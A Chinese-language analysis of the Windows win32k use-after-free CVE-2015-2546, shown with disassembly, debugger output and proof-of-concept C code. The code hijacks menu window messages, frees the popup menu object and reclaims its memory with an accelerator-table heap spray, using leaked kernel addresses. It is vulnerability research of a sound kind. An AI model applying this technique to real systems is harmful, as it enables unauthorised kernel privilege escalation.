CVE-2015-2546内核提权漏洞分析

0x00 前言及原因分析

        CVE-2015-2546是发生在win32k!xxxMNMouseMove函数的一个释放后重引用漏洞(UAF),在win32k!xxxMNMouseMove中调用xxxSendMessage发送MN_SELECTITEM(0x1E5)MN_SETTIMERTOOPENHIERARCHY(0x1F0)消息的时候,执行流可能会回调进入用户侧,当执行流从用户侧返回之后,win32k!xxxMNMouseMove函数并没有对tagPopupMenu对象进行校验,就将其传入win32k!xxxMNHideNextHierarchy对其进行了访问,从而引用UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:95AB8263 000 push edi ; Src
.text:95AB8264 004 push [ebp+cmdItem] ; WideCharString
.text:95AB8267 008 push 1E5h ; message
.text:95AB826C 00C push esi ; P
.text:95AB826D 010 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:95AB8272 000 test al, 10h
.text:95AB8274 000 jz short loc_95AB82CD
.text:95AB8276 000 test al, 3
.text:95AB8278 000 jnz short loc_95AB82CD
.text:95AB827A 000 push edi ; Src
.text:95AB827B 004 push edi ; WideCharString
.text:95AB827C 008 push 1F0h ; message
.text:95AB8281 00C push esi ; P
.text:95AB8282 010 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:95AB8287 000 test eax, eax
.text:95AB8289 000 jnz short loc_95AB82CD
.text:95AB828B 000 push ebx ; a1
.text:95AB828C 004 call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)

        如果在执行流回到用户侧时,销毁目标菜单对象,然后在经过巧妙的内存布局,使系统重新分配内存重新占用销毁的目标菜单对象所占据的内存,然后通过巧妙的伪装,在Win32k!xxxMNHideNextHierarchy调用发送MN_SELECTITEM(0x1E5)消息,从而像CVE-2014-4113一样,执行预先设置好的ShellCode提权代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __stdcall xxxMNHideNextHierarchy(tagPOPUPMENU *a1)
{
tagWND *v1; // eax
tagWND *v2; // eax
int v4[3]; // [esp+4h] [ebp-Ch] BYREF
v1 = a1->spwndNextPopup; // 需要两个菜单
if ( !v1 )
return 0;
v4[0] = *(gptiCurrent + 45);
*(gptiCurrent + 45) = v4;
v4[1] = v1;
++v1->head.cLockObj;
v2 = a1->spwndNextPopup;
if ( v2 != a1->spwndActivePopup ) // 判断是否是活跃菜单
xxxSendMessage(v2, 0x1E4, 0, 0);
xxxSendMessage(a1->spwndNextPopup, 0x1E5, -1, 0);
return 1;
}

0x01 Poc构建

        和CVE-2014-4113一样,触发CVE-2015-2546的win32k!xxxMNMouseMove函数也是在win32k!xxxHandleMenuMessages被调用。在代码88行调用xxxMNMouseMove(v3, pMenuState, v7);触发CVE-2015-2546,而在56行,调用xxxSendMessage(v13, 0x1ED, tagPopupMenu, 0);触发CVE-2014-4113。通过观察代码逻辑,在18行,如果v23不等于0的话,则不会调用xxxMNMouseMove(v3, pMenuState, v7);,所以网上追溯,当message为0x200(WM_MOUSEMOVE)的时候,就会执行xxxMNMouseMove(v3, pMenuState, v7);,所以只要主窗口发送WM_MOUSEMOVE消息的时候就会调用xxxMNMouseMove

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
if ( message > 0x104 ) // CVE-2014-4113 条件2
{
if ( message <= 0x202 ) // CVE-2014-4113 条件3
{
if ( message == 0x202 )
goto LABEL_79;
v20 = message - 0x105; // CVE-2014-4113 : message = 0xFC + 0x105 = 0x201(WM_LBUTTONDOWN)
// CVE-2015-2546 : message = 0xFB + 0x105 = 0x200(WM_MOUSEMOVE)
if ( v20 ) // 条件2<----CVE-2015-2546
{
v21 = v20 - 1; // v20 = 0xFB + 0x1 = 0xFC
if ( v21 )
{
v22 = v21 - 0x12; // v21 = 0xE9 + 0x12 = 0xFB
if ( !v22 )
return 1;
v23 = v22 - 0xE8; // 0xE8 + 1 = 0xE9
if ( v23 ) // CVE-2015-2546 v23 == 0 否则不会触发
{
if ( v23 == 1 )
{
LABEL_13:
v12 = pMenuState;
pMenuState[4] = -1;
pMenuState[2] = v7;
pMenuState[3] = SHIWORD(v7);
v13 = xxxMNFindWindowFromPoint(v3, &tagPopupMenu, v7);
pMenuStatea = IsMFMWFPWindow(v13);
if ( pMenuStatea )
{
v40 = *(gptiCurrent + 45);
*(gptiCurrent + 45) = &v40;
v41 = v13;
if ( v13 )
++*(v13 + 4);
}
if ( (v12[1] & 0x400) != 0 )
{
v12[9] = v12[2];
v12[10] = v12[3];
v12[12] = tagPopupMenu;
LockMFMWFPWindow(v12 + 0xB, v13);
}
if ( (v12[1] & 0x500) != 0 )
v12[13] = ((v44 & 2) != 0) + 1;
if ( !v13 && !tagPopupMenu )
goto LABEL_22;
if ( (*v3 & 2) != 0 && v13 == -5 )
{
xxxMNSwitchToAlternateMenu(v3);
v13 = -1;
}
if ( v13 == -1 )
xxxMNButtonDown(v3, v12, tagPopupMenu, 1);
else // 可能为-5
xxxSendMessage(v13, 0x1ED, tagPopupMenu, 0);// <------CVE-2014-4113
if ( (v12[1] & 0x100) == 0 )
xxxMNRemoveMessage(tagMsg->message, 516);
LABEL_127:
if ( !pMenuStatea )
return 1;
goto LABEL_142;
}
return 0;
}
LABEL_58: // message == 0x200(WM_MOUSEMOVE)
v24 = pMenuState[1]; // 条件1<------CVE-2015-2546
if ( (v24 & 0x400) != 0 && (v24 & 8) != 0 && (v24 & 0xC0) == 0 )
{
if ( pMenuState[11] )
{
v38[0] = pMenuState[9];
v38[1] = pMenuState[10];
v38[2] = pMenuState[9];
v38[3] = pMenuState[10];
InflateRect(v38, *(gpsi + 1760), *(gpsi + 1764));
if ( !PtInRect(v38, v7, SHIWORD(v7)) )
{
v25 = GetMenuStateWindow(pMenuState);
if ( v25 )
{
pMenuState[1] |= 0x80u;
_PostMessage(v25, 500, 0, 0);
}
}
}
}
xxxMNMouseMove(v3, pMenuState, v7); // <----CVE-2015-2546
return 1;
}
goto LABEL_27;
}

        win32k!xxxMNMouseMove作用是处理鼠标移动的消息,首先判断传入的PopupMenu对象是否是根弹出菜单对象,然后检查坐标是否发生移动,继而通过xxxMNFindWindowFromPoint(ppopupmenu, &cmdItem, *&ptScreen_);获取菜单窗口对象。如果是有效的菜单窗口对象,会判断该窗口对象是否被销毁,然后将获取到的窗口对象作为参数,传入xxxSendMessage发送MN_SELECTITEM(0x1E5)消息以选择菜单项,当返回的uFlag为MF_POPUP以及不为MFS_GRAYED,并且调用xxxSendMessage发送MN_SETTIMERTOOPENHIERARCHY消息不为0的时候,则调用xxxMNHideNextHierarchy函数以关闭弹出窗口的子菜单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void __stdcall xxxMNMouseMove(tagPOPUPMENU *cmdItem, tagMENUSTATE *pMenuState, POINTS ptScreen)
{
ppopupmenu = cmdItem;
if ( ppopupmenu == ppopupmenu->ppopupmenuRoot )// tagPOPUPMENU 对象是否为当前的根弹出菜单对象
{
ptScreen_ = ptScreen;
pMenuState_ = pMenuState;
if ( ptScreen.x != pMenuState->ptMouseLast.x || ptScreen.y != pMenuState->ptMouseLast.y ) //检查坐标是否发生移动
{
pMenuState->ptMouseLast.x = ptScreen.x;
pMenuState_->ptMouseLast.y = ptScreen_.y;
cmdHitArea = xxxMNFindWindowFromPoint(ppopupmenu, &cmdItem, *&ptScreen_);
[...]
else // CVE-2015-2546条件3
{
if ( cmdHitArea_1 == -1 ) // if (cmdHitArea == MFMWFP_NOITEM)
goto LABEL_15;
if ( cmdHitArea_1 ) // 如果是菜单窗口对象的话
// 条件2
{
if ( IsWindowBeingDestroyed(cmdHitArea_1) )// <----CVE-2015-2546 返回为0即可
return;
v15 = *(gptiCurrent + 45);
*(gptiCurrent + 45) = &v15;
v16 = cmdHitArea_1;
++*(cmdHitArea_1 + 4);
v8 = *(pMenuState_ + 1);
popupmenu_ = *(cmdHitArea_1 + 0xB0);
if ( (v8 & 0x100) != 0 && (v8 & 0x8000) == 0 && (*popupmenu_ & 0x100000) == 0 )//
// if (pMenuState->fModelessMenu
// && !pMenuState->fInDoDragDrop
// && !ppopup->fTrackMouseEvent)
{
v14 = *cmdHitArea_1;
v13 = 2;
TrackMouseEvent(&v12);
*popupmenu_ |= 0x100000u;
xxxSendMessage(cmdHitArea_1, 0x20, *cmdHitArea_1, 2);
}
v10 = xxxSendMessage(cmdHitArea_1, 0x1E5, cmdItem, 0);// MN_SELECTITEM
if ( (v10 & 0x10) != 0 && (v10 & 3) == 0 && !xxxSendMessage(cmdHitArea_1, 0x1F0, 0, 0) )// MN_SETTIMERTOOPENHIERARCHY
xxxMNHideNextHierarchy(popupmenu_); // <-----CVE-2015-5246 通过人为构造内存进行触发
goto LABEL_28;
}
}
[...]
}
}
}

        xxxMNHideNextHierarchy函数逻辑就很简单了,只需要判断传入的ppopupmenu的弹出子菜单是否是活跃的弹出菜单之后,调用xxxSendMessage发送MN_CLOSEHIERARCHY消息关闭弹出菜单。然后接着发送MN_SELECTITEM消息继续选择菜单。

1
2
3
4
5
6
7
8
9
10
11
12
13
BOOL xxxMNHideNextHierarchy(
PPOPUPMENU ppopup)
{
if (ppopup->spwndNextPopup != NULL) {
[...]
if (ppopup->spwndNextPopup != ppopup->spwndActivePopup)
xxxSendMessage(ppopup->spwndNextPopup, MN_CLOSEHIERARCHY, 0, 0L);
xxxSendMessage(ppopup->spwndNextPopup, MN_SELECTITEM, (WPARAM)-1, 0L);
ThreadUnlock(&tlpwndT);
return TRUE;
}
return FALSE;
}

        根据上述对于win32k!xxxHandleMenuMessages描述,CVE-2015-2546和CVE-2014-4113漏洞都产生于xxxHandleMenuMessages。其不同点在于,CVE-2014-4113的message为WM_LBUTTONDOWN(0x201),而CVE-2015-2546的message为WM_MOUSEMOVE(0x200)。我们都可以复用CVE-2014-4113的poc代码如下。需要改动的地方就是主窗口的WndProc函数。需要其发送WM_MOUSEMOVE(0x200)消息,以使执行流进入xxxMNMouseMove

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
BOOL poc_cve_2015_2546()
{
//创建一个主窗口
HWND hWnd;
WNDCLASS wc;
memset(&wc, 0, sizeof(wc));
wc.lpfnWndProc = WndProc;
wc.lpszClassName = "CVE-2015-2546";
RegisterClassA(&wc);
hWnd = CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0);
if (hWnd == NULL)
{
return FALSE;
}
PTHRDESKHEAD thrdeskhead_wnd = pHmValidateHandle(hWnd, 1);
PVOID tagWnd = thrdeskhead_wnd->pSelf;
printf("[+] tagWnd in Kernel Address : 0x%p\n", tagWnd);
//创建一个菜单,并插入
HMENU MenuOne = CreatePopupMenu();
MENUITEMINFOA MenuOneInfo = { 0 };
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = MIIM_STRING;
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
//创建第二个菜单,并插入
HMENU MenuTwo = CreatePopupMenu();
MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
MenuTwoInfo.hSubMenu = MenuOne;
MenuTwoInfo.dwTypeData = (LPSTR)"";
MenuTwoInfo.cch = 1;
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
//设置消息钩子
HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, WndProcHook, NULL, GetCurrentThreadId());
//触发漏洞
TrackPopupMenu(
MenuTwo,
0,
0,
0,
0,
hWnd,
NULL);
return TRUE;
}
[........]
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == WM_ENTERIDLE)
{
PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hWnd, WM_MOUSEMOVE, 0, 1);
//PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0); CVE-2014-4113
}
return DefWindowProcA(hWnd, uMsg, wParam, lParam);
}

1
2
3
4
5
kd> kn
# ChildEBP RetAddr
00 968d7b90 95ab7db0 win32k!xxxMNMouseMove
01 968d7bec 95aafa64 win32k!xxxHandleMenuMessages+0x2ed
02 968d7c38 95abf71b win32k!xxxMNLoop+0x2c6

        在xxxMNMouseMove中,要触发漏洞,需要有4个条件,根据调试,第一个条件自动满足。

  • 1.tagPOPUPMENU 对象是否为当前的根弹出菜单对象
  • 2.通过xxxMNFindWindowFromPoint获取到的窗口对象的有效性,即不能为-1,也不能为-5,且不能被销毁。
  • 3.利用xxxSendMessage发送MN_SELECTITEM消息之后,返回的标志是MF_POPUP(弹出菜单),以及不为MFS_GRAYED(禁用状态)
  • 4.利用xxxSendMessage发送MN_SETTIMERTOOPENHIERARCHY消息返回值为0
1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* Select the item.
*/
uFlags = (UINT)xxxSendMessage(pwnd, MN_SELECTITEM, (WPARAM)cmdItem, 0L);
if ((uFlags & MF_POPUP) && !(uFlags & MFS_GRAYED)) {
/*
* User moved back onto an item with a hierarchy. Hide the
* the dropped popup.
*/
if (!xxxSendMessage(pwnd, MN_SETTIMERTOOPENHIERARCHY, 0, 0L)) {
xxxMNHideNextHierarchy(ppopup);
}
}

        重点分析一下xxxMNMouseMove函数,CVE-2015-2546是一个UAF漏洞,漏洞本质如上所述,在执行xxxSendMessage执行流返回用户侧代码,销毁窗口对象pwnd,然后xxxMNHideNextHierarchy没有经过检查便使用了已经销毁的窗口对象pwnd。但是在此之前,调用xxxMNFindWindowFromPoint是要确保得到的对象有效性。所以,只能在发送MN_SETTIMERTOOPENHIERARCHY的时机去销毁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
VOID xxxMNMouseMove(
PPOPUPMENU ppopup,
PMENUSTATE pMenuState,
POINTS ptScreen)
{
[...]
if (!IsRootPopupMenu(ppopup)) {
RIPMSG0(RIP_ERROR,
"MenuMouseMoveHandler() called for a non top most menu");
return;
}
[...]
cmdHitArea = xxxMNFindWindowFromPoint(ppopup, &cmdItem, ptScreen);
[...]
} else if (cmdHitArea != 0) {
[...]
pwnd = (PWND)(cmdHitArea);
ppopup = ((PMENUWND)pwnd)->ppopupmenu;
[...]
uFlags = (UINT)xxxSendMessage(pwnd, MN_SELECTITEM, (WPARAM)cmdItem, 0L);
if ((uFlags & MF_POPUP) && !(uFlags & MFS_GRAYED))
{
if (!xxxSendMessage(pwnd, MN_SETTIMERTOOPENHIERARCHY, 0, 0L))
{
xxxMNHideNextHierarchy(ppopup);
}
}
}
[...]
}

        所以,现在劫持的回调函数中,需要处理三种消息。编写的消息处理函数如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[+] MN_FINDMENUWINDOWFROMPOINT:只需要返回一个有效的窗口对象即可。
[+] MN_SELECTITEM:只需要返回0x3或者0x10的标志即可。
[+] MN_SETTIMERTOOPENHIERARCHY:首先,需要返回0,然后还要销毁上面那个有效的窗口对象,以保证漏洞能被利用
//////////
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)//back default tagWnd will change!!!
{
LPACCEL lpAccel;
// 处理 1EB 的消息
if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
{
return (LONG)hWnd2;
}
else if (uMsg == MN_SETTIMERTOOPENHIERARCHY)
{
if (hWnd2 != NULL)
{
// #32768窗口进行销毁,tagPopupMenu被释放
DestroyWindow(hWnd2);
}
// 返回值为0绕过判断
return 0;
}
// 处理 1E5 的消息,返回 0x10
else if (uMsg == MN_SELECTITEM)
{
return 0x10;
}
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam);
}

        当返回一个普通的窗口对象的时候,发现IsWindowBeingDestroyed过不去,这个问题,前辈已经解决,当创建一个”#32768”窗口对象即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
text:95ADEA1F _IsWindowBeingDestroyed@4 proc near ; CODE XREF: ShouldComposeOrDecomposeWindow(x,x)+19↑p
.text:95ADEA1F ; _HungWindowFromGhostWindow(x)+17↑p ...
.text:95ADEA1F
.text:95ADEA1F arg_0 = dword ptr 8
.text:95ADEA1F
.text:95ADEA1F 000 mov edi, edi
.text:95ADEA21 000 push ebp
.text:95ADEA22 004 mov ebp, esp
.text:95ADEA24 004 mov edx, [ebp+8]
.text:95ADEA27 004 push esi
.text:95ADEA28 008 push edx ; a1
.text:95ADEA29 00C xor esi, esi
.text:95ADEA2B 00C call _IsWindowDestroyed@4 ; IsWindowDestroyed(x)
.text:95ADEA30 008 test eax, eax
.text:95ADEA32 008 jnz short loc_95ADEA55
.text:95ADEA34 008 test byte ptr [edx+18h], 80h ; tagWND->bInDestroy
.text:95ADEA38 008 jnz short loc_95ADEA55
.text:95ADEA3A 008 mov eax, 8000h
.text:95ADEA3F 008 test [edx+2Ah], ax
.text:95ADEA43 008 jnz short loc_95ADEA55
.text:95ADEA45 008 mov edx, [edx+8]
.text:95ADEA48 008 test edx, edx
.text:95ADEA4A 008 jz short loc_95ADEA58
.text:95ADEA4C 008 test byte ptr [edx+0D8h], 1
.text:95ADEA53 008 jz short loc_95ADEA58
.text:95ADEA55
.text:95ADEA55 loc_95ADEA55: ; CODE XREF: IsWindowBeingDestroyed(x)+13↑j
.text:95ADEA55 ; IsWindowBeingDestroyed(x)+19↑j ...
.text:95ADEA55 008 xor esi, esi
.text:95ADEA57 008 inc esi
.text:95ADEA58
.text:95ADEA58 loc_95ADEA58: ; CODE XREF: IsWindowBeingDestroyed(x)+2B↑j
.text:95ADEA58 ; IsWindowBeingDestroyed(x)+34↑j
.text:95ADEA58 008 mov eax, esi
.text:95ADEA5A 008 pop esi
.text:95ADEA5B 004 pop ebp
.text:95ADEA5C 000 retn 4
.text:95ADEA5C _IsWindowBeingDestroyed@4 endp

        在调试器中,获取弹出菜单对象Popupmenu的地址为0xfe78d9a8,然后当执行完xxxSendMessage(cmdHitArea_1, MN_SETTIMERTOOPENHIERARCHY, 0, 0)销毁了窗口对象之后,很显然,该对象被释放,然后PopupMenu作为参数传入xxxMNHideNextHierarchy,会对popupmenu的spwndNextPopup成员进行判断,为空则直接退出,所以,只需要伪造PopupMenu对象,就可以实现对这块内存的控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
kd> g
Breakpoint 0 hit
win32k!xxxMNMouseMove+0xe6:
95ab821f 8b9eb0000000 mov ebx,dword ptr [esi+0B0h]
kd> r esi
esi=fe8109a8
kd> dc fe8109a8+B0
ReadVirtual: fe810a58 not properly sign extended
fe810a58 fe78d9a8 006e0057 00010017 08000018 ..x.W.n.........
fe810a68 0013019c 0000000b ff5e42c8 87daca18 .........B^.....
fe810a78 fe810a68 60080018 80000700 00000100 h......`........
fe810a88 04c00000 00000000 00000000 fe810b20 ............ ...
fe810a98 fe8069e8 fe800618 00000000 00000000 .i..............
d> !pool fe78d9a8
Pool page fe78d9a8 region is Unknown
fe78d000 size: d0 previous size: 0 (Allocated) Gpff
[.....]
fe78d628 size: 2e0 previous size: d0 (Allocated) Ttfd
fe78d908 size: 50 previous size: 2e0 (Allocated) Ttfd
fe78d958 size: 48 previous size: 50 (Allocated) Gffv
*fe78d9a0 size: 40 previous size: 48 (Free ) *Uspm Process: 88877030
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
fe78d9e0 size: 10 previous size: 40 (Allocated) Glnk
fe78d9f0 size: 70 previous size: 10 (Allocated) Ghab
[.....]

0x02 漏洞利用及验证

        总结一下CVE-2015-2546的漏洞利用,通过伪造PopupMenu对象,去占用销毁窗口对象留下的内存空洞,从而实现漏洞利用。

        现在,整个逻辑就很清楚了,首先通过加速键表,占用一大段内存空间,每次申请5个ACCEL的大小,一共申请50次,然后释放部分加速键表,造成内存空洞,然后创建的窗口对象便会占用其中一个内存空洞中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 0x5);// 大小 0x8 * 0x5 = 0x28 与 tagPOPUPMENU 大小相同
for (int i = 0; i < 50; i++)
{
hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5);
index = LOWORD(hAccel[i]);
Address = &gHandleTable[index];
pAcceleratorTable[i] = (PUCHAR)Address->pKernel;
printf("[+] Create Accelerator pKernelAddress at : 0x%p\n", pAcceleratorTable[i]);
}
// 释放双数的加速键表,制造空洞
for (int i = 2; i < 50; i = i + 5)
{
DestroyAcceleratorTable(hAccel[i]);
printf("[+] Destroy Accelerator pKernelAddress at : 0x%p\n", pAcceleratorTable[i]);
}

        将占用的内存地址打印出来,并在windbg中输出tagWnd2的PopupMenu对象地址为fe440168,很显然,新创建的窗口对象占用了之前释放的内存空洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[+] Create Accelerator pKernelAddress at : 0xFFA27058
[..........]
[+] Create Accelerator pKernelAddress at : 0xFE48C290
[+] Create Accelerator pKernelAddress at : 0xFF49CA70
[+] Create Accelerator pKernelAddress at : 0xFF52FBE8
[+] Create Accelerator pKernelAddress at : 0xFF589128
[+] Create Accelerator pKernelAddress at : 0xFF58B128
[+] Create Accelerator pKernelAddress at : 0xFF55F120
[+] Destroy Accelerator pKernelAddress at : 0xFF4AC7F8
[+] Destroy Accelerator pKernelAddress at : 0xFE486BC8
[+] Destroy Accelerator pKernelAddress at : 0xFD36D288
[+] Destroy Accelerator pKernelAddress at : 0xFE440168 <---
[+] Destroy Accelerator pKernelAddress at : 0xFE6A94E8
[+] Destroy Accelerator pKernelAddress at : 0xFD392A70
[+] Destroy Accelerator pKernelAddress at : 0xFF5A10E0
[+] Destroy Accelerator pKernelAddress at : 0xFD351170
[+] Destroy Accelerator pKernelAddress at : 0xFF51B960
[+] Destroy Accelerator pKernelAddress at : 0xFF589128
[+] hWnd2 Address: 0x00D62B58
[+] tagWnd2 at pKernel Address : 0xFE812B58
kd> DC FE812B58+b0
ReadVirtual: fe812c08 not properly sign extended
fe812c08 fe440168 00000013 0000000a 00000018 h.D.............
fe812c18 fe80ab70 fe80f1b0 00000000 00000000 p...............
fe812c28 00000000 00000000 00000000 00000000 ................
fe812c38 00000000 00000000 00000000 00000000 ................
fe812c48 002c024b 00000000 00000000 00000000 K.,.............

        泄露加速表地址可以借助SHAREDINFO结构体的PUSER_HANDLE_ENTRY成员,这是ENTRY可以理解为一张句柄表。而每一个USER_HANDLE_ENTRY第一个成员pKernel则指向内存地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, *PUSER_HANDLE_ENTRY;

1
2
3
4
5
6
7
8
9
10
11
12
PSHAREDINFO pSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandleA("user32.dll"), "gSharedInfo");
printf("[+] gSharedInfo at : 0x%p\n", pSharedInfo);
PUSER_HANDLE_ENTRY gHandleTable = pSharedInfo->aheList;
LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 0x5);// 大小 0x8 * 0x5 = 0x28 与 tagPOPUPMENU 大小相同
for (int i = 0; i < 50; i++)
{
hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5);
index = LOWORD(hAccel[i]);
Address = &gHandleTable[index];
pAcceleratorTable[i] = (PUCHAR)Address->pKernel;
printf("[+] Create Accelerator pKernelAddress at : 0x%p\n", pAcceleratorTable[i]);
}

        很显然,原先的tagWnd对象已经被销毁,由新申请的加速键内存占用。

1
2
3
4
5
6
7
8
9
10
11
12
kd> dc ebx
fe440168 001c0253 00000000 00000000 00000005 S...............
fe440178 00000000 00000000 00000000 00000000 ................
fe440188 00000000 00000000 00000080 00000000 ................
fe440198 00000000 86111030 46140008 38616c47 ....0......FGla8
fe4401a8 04080934 00000001 80000000 00000000 4...............
fe4401b8 00008208 00000000 0000907f 00000000 ................
fe4401c8 00000000 00000000 00000000 00000001 ................
fe4401d8 00000000 00000000 00000000 95a30d56 ............V...
kd> t
win32k!xxxMNMouseMove+0x153:
95ab828c e86e1effff call win32k!xxxMNHideNextHierarchy (95aaa0ff)

        win32k!xxxMNHideNextHierarchy中调用win32k!xxxSendMessage此时传入的对象是伪造的加速键表。剩下的就和CVE-2014-4113差不多的利用方式,区别就是4113的对象是0xFFFFFFFB。

1
2
3
4
5
kd>
win32k!xxxMNHideNextHierarchy+0x41:
95aaa140 e837a5f9ff call win32k!xxxSendMessage (95a4467c)
kd> r eax
eax=00000005

0x03 参考文献

[1] 对 UAF 漏洞 CVE-2015-2546 的分析和利用 : 小刀师傅对于win32k机制的剖析

[2] https://www.anquanke.com/post/id/84911 : k0shl师傅调试UAF的细节

[3] https://xz.aliyun.com/t/6115 : thunderjie师傅提供的信息泄露的方法,即查看加速键表地址的方法。

[4] https://github.com/ThunderJie/CVE/blob/master/CVE-2015-2546/2015-2546.c : ThunderJie 提供的 exp